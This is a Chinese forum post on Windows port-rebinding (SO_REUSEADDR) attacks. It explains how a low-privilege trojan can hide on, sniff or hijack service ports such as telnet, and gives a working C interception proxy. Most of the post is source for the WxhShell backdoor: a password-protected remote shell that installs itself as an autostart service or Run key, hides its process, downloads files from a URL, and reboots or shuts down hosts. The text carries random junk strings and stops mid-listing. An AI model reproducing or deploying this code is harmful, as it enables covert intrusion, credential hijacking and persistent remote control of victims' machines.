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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: [+_0y[~,tB  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); mcm8|@Y{  
W>2m %q U  
  saddr.sin_family = AF_INET; 4/+P7.}ea-  
7jtDhsVz  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); .0ExHcr  
hL(zVkYI  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); w.9'TR  
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  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 7TaHE   
n1;y"`gHk  
  这意味着什么?意味着可以进行如下的攻击: 3B6"T;_  
snccDuS  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 'H|=]n0  
:,*{,^2q:  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) kE*OjywN  
^Ss4<  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 WY`hNT6M  
Vv<Tjr  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  h}@)oSX }  
u''~nSR3&  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 S mjg[  
+:D90p$e  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 |d0,54!  
Q?7:Xb N  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。  $% 5f  
8Ug`2xS<_  
  #include qTd6UKg  
  #include 1~_&XNb&  
  #include I6B4S"Q5<  
  #include    /:o (Ghc?  
  DWORD WINAPI ClientThread(LPVOID lpParam);   o*}--d? S  
  int main() 'V-_3WWxU  
  { ;xMieqz  
  WORD wVersionRequested; @b,&b6V  
  DWORD ret; 'D1Sm&M2%e  
  WSADATA wsaData; \Tii S  
  BOOL val; m=.}}DcSs  
  SOCKADDR_IN saddr; X1GpLy)p  
  SOCKADDR_IN scaddr; @*{sj`AS '  
  int err; [WxRwE  
  SOCKET s; Pcox~U/j  
  SOCKET sc; Y#[>j4<T  
  int caddsize; YLO/J2['  
  HANDLE mt; oPVyLD  
  DWORD tid;   MV.$Ay  
  wVersionRequested = MAKEWORD( 2, 2 ); JLZ=$d  
  err = WSAStartup( wVersionRequested, &wsaData ); $k= 5nJ  
  if ( err != 0 ) { $hM>%u  
  printf("error!WSAStartup failed!\n"); TA~YCj$  
  return -1; WI+ 5x  
  } w:~Y@ b~D  
  saddr.sin_family = AF_INET; ""2g{!~r  
   X8Ld\vZYn  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 v!b 8_0~u6  
:(o6^%x  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); oy?>e1Sy*  
  saddr.sin_port = htons(23); `4N{x.N  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) C1 YG=!  
  { xU5+"t~  
  printf("error!socket failed!\n"); *[MK{m  
  return -1; !o k6*m  
  } Gd08RW  
  val = TRUE; m=7Z8@sX},  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 vKCgtk  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) !R/- |Kjy  
  { lxvRF93a.  
  printf("error!setsockopt failed!\n"); =cN! h"C[  
  return -1; 7KzMa%=  
  } `AO<r  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 8iDg2_l`G  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 -< 0PBl  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Q:#Kt@W  
V&>\U?q:  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) <P"4Mk7`s  
  { ;& PK6G  
  ret=GetLastError(); $^1L|KgXp  
  printf("error!bind failed!\n");  KOQ9K  
  return -1; DIU9Le  
  } S ;; Z  
  listen(s,2); 8% ;K#,>  
  while(1) O^AF+c\n  
  { qXQ/M]  
  caddsize = sizeof(scaddr); k;?Oi?]  
  //接受连接请求 \f AL:mJ  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Z_F}Y2-w9  
  if(sc!=INVALID_SOCKET) ~SW_jiKM  
  { }}VB#   
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); -#nfO*H}  
  if(mt==NULL) ERE1XOe=D  
  { [v!TQwMU  
  printf("Thread Creat Failed!\n"); UOg4 E  
  break; c T!L+z g  
  } XazKS4(  
  } { _]'EK/w  
  CloseHandle(mt); =c>w  
  } kZ0|wML8  
  closesocket(s); Du3nK" -g  
  WSACleanup(); D<m+M@u  
  return 0; $YyN-C  
  }   t`XY Y  
  DWORD WINAPI ClientThread(LPVOID lpParam) CX8tTbuFl  
  { _H41qKS{Ul  
  SOCKET ss = (SOCKET)lpParam; NNt,J;  
  SOCKET sc; sPee" 9%,  
  unsigned char buf[4096]; N1LZXXY{  
  SOCKADDR_IN saddr; V|h/a\P  
  long num; :.+?v*%;n  
  DWORD val; Pkm3&sW  
  DWORD ret; cN{-&\ 6L  
  //如果是隐藏端口应用的话,可以在此处加一些判断 .Fy f4^0  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   +P&;cCV`S3  
  saddr.sin_family = AF_INET; UO& p2   
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); {iv!A=jld  
  saddr.sin_port = htons(23); _Vs\:tygs  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @Ik@1  
  { T|h/n\fx)a  
  printf("error!socket failed!\n"); f&\v+'[p  
  return -1; 8qEK6-  
  } 0wmz2zKV  
  val = 100; AU@XpaPWh  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 88dq8T4  
  { ?5%|YsJP_  
  ret = GetLastError(); >?$+hZz<  
  return -1; P| [i{h  
  } y<G@7?   
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) M. Fu>Xi  
  { $?l?  
  ret = GetLastError(); '~^3 =[Z  
  return -1; dz',!|>  
  } 4s!rrDN  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) E47U &xL  
  { kpM5/=f/@  
  printf("error!socket connect failed!\n"); s^nwF>  
  closesocket(sc); *{]9e\DF  
  closesocket(ss); u/5I;7cb  
  return -1; c1IK9X*  
  } QY<{S&k9  
  while(1) "RG.27  
  { C(:tFuacpw  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 5-L?JD 4&  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 #L-3eW=f  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 !O=J8;oLk  
  num = recv(ss,buf,4096,0); Wmp,,H  
  if(num>0) FDB^JH9d  
  send(sc,buf,num,0); 5Pis0fa  
  else if(num==0) ]_S&8F}|  
  break; =o5ZcC  
  num = recv(sc,buf,4096,0); -Bqn^ E  
  if(num>0) `}s$cgEG  
  send(ss,buf,num,0); t@Qs&DZ7k  
  else if(num==0) G[YbgG=9Y  
  break; &)Fp  
  } Oj# nF@U  
  closesocket(ss); Z2Bl$ \  
  closesocket(sc); ;as4EqiK  
  return 0 ; %y~=+Sm%m  
  } C:n55BE9  
M"OX NPkc  
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========================================================== 0kI.d X)  
cvpcadN[  
下边附上一个代码,,WXhSHELL 9-DDly [)4  
bQlShVJL  
========================================================== .y{qsL^P  
S1pikwB  
#include "stdafx.h" )1a3W7  
@|xcrEnP}B  
#include <stdio.h> '&5A*X]d  
#include <string.h> DfFsCTu  
#include <windows.h> }d2]QD#O  
#include <winsock2.h> w!7f*  
#include <winsvc.h> M0<gea\ =  
#include <urlmon.h> @ oE [!  
U}7 a;4?  
#pragma comment (lib, "Ws2_32.lib") NZ/>nNs  
#pragma comment (lib, "urlmon.lib") B*A{@)_  
!o2lB^e8  
#define MAX_USER   100 // 最大客户端连接数 QDS=M]  
#define BUF_SOCK   200 // sock buffer F4i c^F{K  
#define KEY_BUFF   255 // 输入 buffer F8km8lPQl  
<qs>c<Vj  
#define REBOOT     0   // 重启 o'@VDGS`  
#define SHUTDOWN   1   // 关机 <">tB"="b  
\$ L2xd  
#define DEF_PORT   5000 // 监听端口  KTd,^h  
 Hq h  
#define REG_LEN     16   // 注册表键长度 F{\MIuoy  
#define SVC_LEN     80   // NT服务名长度 az~4sx$+}  
NaC^q*>9  
// 从dll定义API U]lXw+&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /GNLZm^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); b>AFhj:  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); w? A&XB+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |D u.aN  
4A:@+n%3m  
// wxhshell配置信息 s`ly#+!.  
struct WSCFG { p`-`(i=iJo  
  int ws_port;         // 监听端口 2-i>ymoOS  
  char ws_passstr[REG_LEN]; // 口令 *4Cq,o`o>  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8 ~.|^no  
  char ws_regname[REG_LEN]; // 注册表键名 w `6qT3v  
  char ws_svcname[REG_LEN]; // 服务名 Af5O;v\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 nmp(%;<exN  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 w@7NoD=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,2vPmff  
int ws_downexe;       // 下载执行标记, 1=yes 0=no stz1e dP  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ymSGB`CP  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 A.m#wY8  
.4A4\-Cqe  
}; Ub%+8 M  
C)/uX5  
// default Wxhshell configuration K:fK! /  
struct WSCFG wscfg={DEF_PORT, RG|]Kt8  
    "xuhuanlingzhe", ?V%x94B  
    1, EO$_]0yI;_  
    "Wxhshell", PhF3' ">  
    "Wxhshell", EZ*FGt6(  
            "WxhShell Service", l@nkR&4[  
    "Wrsky Windows CmdShell Service", )s(J8J[b*L  
    "Please Input Your Password: ", P9v N5|"M  
  1, Z3Os9X9p  
  "http://www.wrsky.com/wxhshell.exe", Se qnO.\  
  "Wxhshell.exe" ^?(A|krFg  
    }; g PogV(V  
>l{<p(  
// 消息定义模块 a(s}Ec${Z  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4;W eB   
char *msg_ws_prompt="\n\r? for help\n\r#>"; u&1n~t`  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Udv5Y  
char *msg_ws_ext="\n\rExit."; \2)a.2mAz  
char *msg_ws_end="\n\rQuit."; 1tU}}l  
char *msg_ws_boot="\n\rReboot..."; iD#HB o  
char *msg_ws_poff="\n\rShutdown..."; 6T0E'kv S  
char *msg_ws_down="\n\rSave to "; x;89lHy@e  
S',i  
char *msg_ws_err="\n\rErr!"; sF^3KJ|  
char *msg_ws_ok="\n\rOK!"; E6|!G  
B5pM cw  
char ExeFile[MAX_PATH]; F@4XORO;  
int nUser = 0; <_-&{Pv  
HANDLE handles[MAX_USER]; He="S3XON  
int OsIsNt; ^%wj6  
<n< @ O5  
SERVICE_STATUS       serviceStatus; |BhfW O8p  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; j7=I!<w V  
zd AqGQfc  
// 函数声明 |^Nz/PN  
int Install(void); t QkEJ pj  
int Uninstall(void); p*)RP2  
int DownloadFile(char *sURL, SOCKET wsh); N r5 aU6]  
int Boot(int flag); o B;EP  
void HideProc(void); Y ::\;s  
int GetOsVer(void); IE!fNuR4  
int Wxhshell(SOCKET wsl); qW[p .jN  
void TalkWithClient(void *cs); i"2[OM\j7  
int CmdShell(SOCKET sock); b;K>Q!(|  
int StartFromService(void); [vb>5EhL!  
int StartWxhshell(LPSTR lpCmdLine); /*s:ehj  
p% ESp&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "| w..%Wc  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0o2o]{rM{2  
`'9Kj9}   
// 数据结构和表定义 sL|lfc'bB  
SERVICE_TABLE_ENTRY DispatchTable[] = wP3_RA]z  
{ ei'=%r8~  
{wscfg.ws_svcname, NTServiceMain}, BUB#\v#a  
{NULL, NULL} eSf e s  
}; x;" !  
;mH1J'.(a  
// 自我安装 ]^MOFzSz~  
int Install(void) dk~h  
{ 0mo^I==J1  
  char svExeFile[MAX_PATH]; D(xgadr  
  HKEY key; , "w`,c>!  
  strcpy(svExeFile,ExeFile); r(NfVQF  
=ZM#_uW  
// 如果是win9x系统,修改注册表设为自启动 8$a4[s  
if(!OsIsNt) { {Buoo~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &\8.y2=9p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *m:h0[[J  
  RegCloseKey(key); nB2AmS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :UMg5eZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +RS>#zd/=  
  RegCloseKey(key); Q >[*Y/`I  
  return 0; R< @o]p  
    } rks+\e}^Z  
  } T5_z^ 7d  
} qR0V\OtgY~  
else { -C.x;@!k  
qp (ng 8%c  
// 如果是NT以上系统,安装为系统服务 0/P!rH9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); iOz<n z  
if (schSCManager!=0) yo*c& >  
{ MN\/F4Io  
  SC_HANDLE schService = CreateService g/,fjM_  
  ( 33x3zEUt6  
  schSCManager, *u.6,jw  
  wscfg.ws_svcname, Wh[+cH"M  
  wscfg.ws_svcdisp, H6?ZE  
  SERVICE_ALL_ACCESS, 7cin?Z1  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , yZ3/Ia>,  
  SERVICE_AUTO_START, /=Bz[ O  
  SERVICE_ERROR_NORMAL, <y5V],-U  
  svExeFile, X.<_TBos|  
  NULL, b2c% 0C  
  NULL, Ry*NRP;  
  NULL, -}|GkTM  
  NULL, OD<0,r0f,  
  NULL tdg.vYMDPC  
  ); /9dV!u!;  
  if (schService!=0) +4^XFPq~  
  { ZxkX\gl91  
  CloseServiceHandle(schService); )}L*8 LV  
  CloseServiceHandle(schSCManager); YAnt}]u!"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Jo Qzf~  
  strcat(svExeFile,wscfg.ws_svcname); ;:1d<Q|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6W$ #`N>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); bep}|8,#u  
  RegCloseKey(key); M>J8J*  
  return 0; Ge$cV}  
    } ;AKtb S;H  
  } B[7|]"L@  
  CloseServiceHandle(schSCManager); G3&ES3L  
} EB jiSQw  
} =BJ/ZM  
ut%t`Y( ]  
return 1; t]{qizfOB  
}  =Run  
;SkC[;`J  
// 自我卸载 ~(Gv/x  
int Uninstall(void) _`Ey),c_  
{ ^zkTV_,cRp  
  HKEY key; Rt~Aud[  
NWPL18*C  
if(!OsIsNt) { 06*R)siC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { quk~z};R>\  
  RegDeleteValue(key,wscfg.ws_regname); >|SB]'C|  
  RegCloseKey(key); M`\c'|i/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { XPXC7_fV  
  RegDeleteValue(key,wscfg.ws_regname); `*PVFm>  
  RegCloseKey(key); 6u/3"A]'  
  return 0; x^_Wfkch]  
  } kH*l83  
} \@nmM&7C!4  
} 3P Twpq1  
else { 0K7]<\)  
0X+Jj/-ge  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); R[ S*ON  
if (schSCManager!=0) ! e6;@*  
{ ,R0@`t1 p  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); E>TD`  
  if (schService!=0) xtf]U:c  
  { uxk&5RY  
  if(DeleteService(schService)!=0) { =]oBBokV  
  CloseServiceHandle(schService); _dppUUm  
  CloseServiceHandle(schSCManager); Pgf$GXE  
  return 0; [,Ts;Hy6Q  
  } DCX 4!,ZF  
  CloseServiceHandle(schService); eJ)Bs20Q  
  } g. f!Uc{  
  CloseServiceHandle(schSCManager); 6}R^L(^M  
} vrn I Eur  
} 1YR;dn  
^ef:cS$;  
return 1; n|NI]Qi*  
} 5R4h9D5  
x(3E#7>1  
// 从指定url下载文件 7M}T^LC  
int DownloadFile(char *sURL, SOCKET wsh) (rFY8oHD  
{ CU6rw+Vax  
  HRESULT hr; 2N)=fBF%-  
char seps[]= "/"; qfE/,L(B  
char *token; %^^2  
char *file; ]tH/87qJ  
char myURL[MAX_PATH]; @Qd6a:-6  
char myFILE[MAX_PATH]; }txHuq1Q.  
tc@v9`^_  
strcpy(myURL,sURL); ih2H~c>O  
  token=strtok(myURL,seps); B$g!4C `g  
  while(token!=NULL) <;#d*&]  
  { $y\'j5nk3  
    file=token; t-dN:1  
  token=strtok(NULL,seps); JXBW0|8b  
  } EiI3$y3;  
td q;D  
GetCurrentDirectory(MAX_PATH,myFILE); T*\'G6e  
strcat(myFILE, "\\"); ~^" cNv  
strcat(myFILE, file); ;E:ra_l  
  send(wsh,myFILE,strlen(myFILE),0); ?v#t{e0eQ  
send(wsh,"...",3,0); MR%M[SK1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Rb<aCX  
  if(hr==S_OK) Kr=DoQ."d8  
return 0; N:0/8jmmO  
else 8U\;N  
return 1; 82Nh;5T r  
U/yYQZ\)  
} \%&QIe;:k  
B9iH+ ]W  
// 系统电源模块 4 u X<sJ*  
int Boot(int flag) W2tIt&{  
{ `>rdn*B  
  HANDLE hToken; RoM'+1nP:#  
  TOKEN_PRIVILEGES tkp; Y {Klwn   
+ }(  
  if(OsIsNt) { z|}Anc[\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); eL^,-3JA(]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~t<BZu  
    tkp.PrivilegeCount = 1; cG?RisSZ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; e x $d~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6 )0$UW  
if(flag==REBOOT) { M^r1b1tR  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) nE]R0|4h  
  return 0; $k@reN9  
} y2\, L  
else { [HtU-8:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $b\Gl=YX^  
  return 0; $]\N/}1v  
} rv;w`f  
  } -DX|[70  
  else { PLg`\|  
if(flag==REBOOT) { /4w&! $M-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +q) ^pCC  
  return 0; 3?Bq((  
} n1DD+@  
else { W)<us?5Ec5  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) FlD !?  
  return 0; DDN#w<#  
} ff?:_q+.N  
} (J\"\#/d  
6T"[M  
return 1; a[xEN7L~4D  
} z]=A3!H/Y  
e}(ws~.  
// win9x进程隐藏模块 w80g) 4V+  
void HideProc(void) 0>4:(t7h\  
{ 8D)*~C'85E  
$?(fiFC  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); tE9%;8;H  
  if ( hKernel != NULL ) JDD(e_dw  
  { j*q]-$2E  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !R[o6V5T  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Kv{i_%j   
    FreeLibrary(hKernel); G7M:LcX  
  } #8%Lc3n  
^B1Q";# B^  
return; }a'8lwF%I  
} BB|w-W=Kd  
[|<|a3']|  
// 获取操作系统版本 fN?HF'7V  
int GetOsVer(void) \H*"UgS  
{ z./u;/:  
  OSVERSIONINFO winfo; F[l{pc "C  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); F9]GEBLr  
  GetVersionEx(&winfo); .?<,J  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )4D |sN  
  return 1; ,-vbR&  
  else = = cAL"Z  
  return 0; /$%apci8  
} mG1=8{o^  
wg<DV!GZ  
// 客户端句柄模块 >(|T]u](q  
int Wxhshell(SOCKET wsl) rMH\;\ I|U  
{ TC<_I0jCh  
  SOCKET wsh; 4Bd[r7  
  struct sockaddr_in client; H .JA)*b-  
  DWORD myID; /Pxt f~$  
GghZ".O  
  while(nUser<MAX_USER) xeIt7b?#  
{ #B88w9 b`D  
  int nSize=sizeof(client); l <Tkg9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^GD"aerNr  
  if(wsh==INVALID_SOCKET) return 1; _Qt  
7s4G|N[wR\  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2>Xgo%  
if(handles[nUser]==0) Ovq-rI{  
  closesocket(wsh); ,gVA^]eDh  
else ||;V5iR:  
  nUser++; Ovxs+mQ  
  } +4Aj/$%[q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); u3a"[DB9c  
@!=q.4b  
  return 0; Q_$aiE  
} % r`hW \4{  
V8@VR`!'  
// 关闭 socket e4fh<0gX  
void CloseIt(SOCKET wsh) _ho9}7 >  
{ 9. 6"C<eYt  
closesocket(wsh); -|bnvPmE  
nUser--; X4_1kY;  
ExitThread(0); A(V,qw8  
} j^;f {0f  
v6uR[18  
// 客户端请求句柄 h6Ovl  
void TalkWithClient(void *cs) Z@2^> eC  
{ O`j1~o<{  
97l<9^$  
  SOCKET wsh=(SOCKET)cs; BCMQ^hP}t  
  char pwd[SVC_LEN]; $REz {xgA=  
  char cmd[KEY_BUFF]; R&KFF'%  
char chr[1]; <|8N\FU{  
int i,j; q4=Gj`\43  
c|m*< i  
  while (nUser < MAX_USER) { ?*cr|G$r[  
x7J8z\b"O  
if(wscfg.ws_passstr) { C$WUg<kcK'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =hFIH\x  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yhm6%  
  //ZeroMemory(pwd,KEY_BUFF); O/Cwm;&t  
      i=0; o]/*YaB2>  
  while(i<SVC_LEN) { ^x2zMB\t  
/M!b3bmA  
  // 设置超时 '^B[Krs'Z`  
  fd_set FdRead; O{^8dwg  
  struct timeval TimeOut; JOwm|%>3a  
  FD_ZERO(&FdRead); j/ [V<  
  FD_SET(wsh,&FdRead); .ni<'  
  TimeOut.tv_sec=8; *I]/ [d  
  TimeOut.tv_usec=0; g$f+X~Q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .w,$ TezGP  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Yo%ph%e  
.>#X*u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); IC"Z.'Ph  
  pwd=chr[0]; Ls<^z@I  
  if(chr[0]==0xd || chr[0]==0xa) { mqj]=Fq*  
  pwd=0; 6 &Lr/J76  
  break; hXnfZx%  
  } ,>+B>lbJ*  
  i++; 9*Q6/?v  
    } :A7\eN5  
,>!%KYD/f  
  // 如果是非法用户,关闭 socket 8+i=u" <  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); IJ]rVty  
} Gr-~&pm  
'uC=xG.*}  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); R_^0Un([  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z_U4Yy'NNw  
"7q!u,u  
while(1) { E)%D LZ  
?wP/l  
  ZeroMemory(cmd,KEY_BUFF); }7*|s+F(f  
(/7b8)g  
      // 自动支持客户端 telnet标准   :6MV@{;PJ  
  j=0; dBw7l}  
  while(j<KEY_BUFF) { =(+]ee!Ti  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GQ(*k)'a  
  cmd[j]=chr[0]; &V| kv"Wwj  
  if(chr[0]==0xa || chr[0]==0xd) { cgnMoBIc  
  cmd[j]=0; P!Brw72  
  break; QLH!>9Ch  
  } 7KesfH?  
  j++; $Qz<:?D  
    } H#i,Ve '  
V0NLwl O  
  // 下载文件 jG~-V<&  
  if(strstr(cmd,"http://")) { X J`*dgJ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Mz.C`Z>o  
  if(DownloadFile(cmd,wsh)) f&j\gYWq  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); r+8)<Xt+p  
  else 5o0n4W  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mv>0j<C91  
  } Zs(BViTb|  
  else { NE.h/+4  
ht*N[Pi4;  
    switch(cmd[0]) { tnAj3wc  
  0C;Js\>3]  
  // 帮助  )ut$644R  
  case '?': { =igTY1|af  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *^%+PQ  
    break; &\I<j\F2/  
  } & #JYh=#  
  // 安装 6fo\ z2  
  case 'i': { 9Nps<+K  
    if(Install()) m 62Zta  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (a0(ZOKH  
    else r95 ,X!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e/cHH3 4  
    break; <o9AjASv\,  
    } k,$/l1D  
  // 卸载 u(FOSmNkN  
  case 'r': { i6P}MtC1  
    if(Uninstall()) YO-B|f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yKuZJXGVo  
    else A +=#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z{&Av  
    break; SHs [te[  
    } m_Pk$Vwx  
  // 显示 wxhshell 所在路径 qtdkK LT  
  case 'p': { !?_CIt$p  
    char svExeFile[MAX_PATH]; ? A;RTM  
    strcpy(svExeFile,"\n\r"); o2B|r`R  
      strcat(svExeFile,ExeFile); 4i.&geX A.  
        send(wsh,svExeFile,strlen(svExeFile),0); n_4.`vs  
    break; nBd]rak'  
    } -<k)|]8  
  // 重启 h^_^)P+;  
  case 'b': { Go1xyd:k  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2q]ZI  
    if(Boot(REBOOT)) 9od c :  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lwfM>%%N  
    else { )Nx*T9!Q  
    closesocket(wsh); iDX<`)  
    ExitThread(0); *J]p/<> {  
    } x0>N{ADXQ  
    break; &>+5 8  
    } k>Fw2!mA^  
  // 关机 ern\QAhXX  
  case 'd': { "=+i~N#Sc  
